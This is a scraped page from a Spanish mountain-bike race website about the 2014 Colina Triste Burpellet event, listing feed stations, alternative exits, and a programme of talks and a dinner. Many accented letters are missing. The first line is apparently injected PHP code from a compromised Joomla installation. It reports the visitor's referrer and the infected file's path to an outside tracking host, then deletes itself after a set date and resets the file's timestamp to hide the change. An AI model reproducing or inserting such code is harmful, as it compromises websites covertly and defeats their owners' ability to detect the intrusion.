check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456731446){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=5&id=18776729&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_contact/models/content.php"); } Colina Triste 2014
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Multimedia
Banner
Palmares
Banner
Banner
Banner
Calendario
<<  Enero 2018  >>
 Lu  Ma  Mi  Ju  Vi  Sa  Do 
  1  2  3  4  5  6  7
  8  91011121314
15161718192021
22232425262728
293031    

Colina Triste 2014

Clasificaciones CTB2014

CLASIFICACIONES CTB2014

*Todava est abierto el plazo de recursos, presentandolos en Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

 

Avituallamientos

No queda nada para tomar la salida de COLINA TRISTE BURPELLET 2014, y para que lo tengais todo preparado, aqui os informamos de todos los avituallamientos a lo largo del recorrido.


-KM 16 Sad Hill Lquido - Slido

-KM 22 Pradera de San Juan Silos Liquido

-KM 34 Peacoba Lquido - Slido (Victory Endurance)

-KM 51 Espinosa Lquido

-KM 63 Hortezuelos-El enebral Lquido - Slido, (Es el avituallamiento ms fuerte)

-KM 74 Alto Vallejo Lquido.

Adems de esto sealizaremos las fuentes de Doasantos, Peacoba y Barriosuso.

 

Salidas alternativas en Colina Triste

Nosotros ponemos el reto!!!
!!Tu decides hasta donde

Ya no queda nada para el domingo y si an estas con dudas de tu estado de forma, manten la calma ya que la organizacin de Colina Triste Burpellet os ofrece unas salidas alternativas por si andas menos de lo que pensabas o para los que han sufrido algn tipo de averia mecnica, o si te ha dado el seor del mazo o para cualquier imprevisto, podrs tomar diferentes salidas alternativas, obviamente esto infuir en tu clasificacin final.
Estos son los diferentes puntos kilomtricos, que por supuesto estarn sealizados.


-km 22 bronce
-km 59 plata
-km 64 Hortezuelos, salida alternativa, puntuara plata.
-km 70 Cascajera, puntuara plata.
-km 74 Cruce Hinojar, no puntua, sera descalificado.

 

Esta semana, me apetece comentar un tema que tiene mucha polmica. Hay que entrenar fuerte la ltima semana? Se mejora el rendimiento o por el contrario se acumula fatiga?

Aunque la ltima semana el entrenamiento esta hecho hay aspectos que su mejora se produce entre 48 y 72 horas y que por tanto hemos de entrenar si queremos llegar con ese extra. Me refiero a la potencia, la velocidad, la coordinacin y la capacidad y potencia anaerbica alctica.

 

Cena y Charlas en Colina Triste

Este ao como complemento a la prueba Colina Triste Burpellet el Club Deportivo Silos ha organizado diferentes charlas que se impartirn a lo largo de la tarde del sbado 30 abiertas a todo el mundo y que se impartirn en el convento de San Francisco, donde al finalizar este encuentro se podr asistir previa reserva a la cena Colina Triste.
Las charlas comenzarn a las 18:00, la primera de ellas corre a cargo de nuestros colaboradores Asesores de Salud Len, Burgos, y Aranda de Duero quienes ya nos han informado y aconsejado estos das atrs con interesantes articulos que hemos publicado en la web. El tema del debate ser Salud vs Rendimiento?.
El siguiente coloquio corre a cargo de nuestra campeona del ao pasado Sara Garca Inclan, en su palmars reciente figuran entre otros logros el titulo del Open de Castilla y Leon XC y la sptima posicin en el Open de Espaa XCo, pero su charla nos sacar de Espaa y nos llevar a Belgica. 16 Dias 11Carreras Blgica la meca del ciclismo .
A partir de las siete tomar el relevo la asociacin de Burgos en Ruta BTT, asociacin impulsora de la formacin del cirquito provincial para contarnos su experiencia en la Madrid-Lisboa en MTB Reto o Aventura? .
Las 19:40 ser el momento en el que la organizacin de Colina Triste Burpellet impart una charla tcnica acerca de la edicin de 2014.
La penltima de la tarde corre a cargo de uno de los favoritos a llevarse el trofeo de Colina Triste Burpellet. Milton Ramos conocidsimo por muchos triunfos y autnticos carrerones nos contar de primera mano su reciente triunfo en Italia, en la IronBike prueba de 7 etapas de autntico mtb.
Y para cerrar la tarde la Asociacin Cultural Sad Hill nos hablar de ese cementerio de la mtica pelcula El bueno, el feo y el malo que da nombre a esta prueba y en el que estn llevando a cabo grandes tareas de recuperacin.
Y con todo lo que hemos aprendido nos quedamos a cenar en San Francisco por 15 abierto para todo el mundo previa reserva en el 947 390 010 hasta el 28 de agosto.
El men ser el siguiente:
Tallarines Carbonara.
Merluza Rellena.
Helado templado con frutos rojos.

 
Más artículos...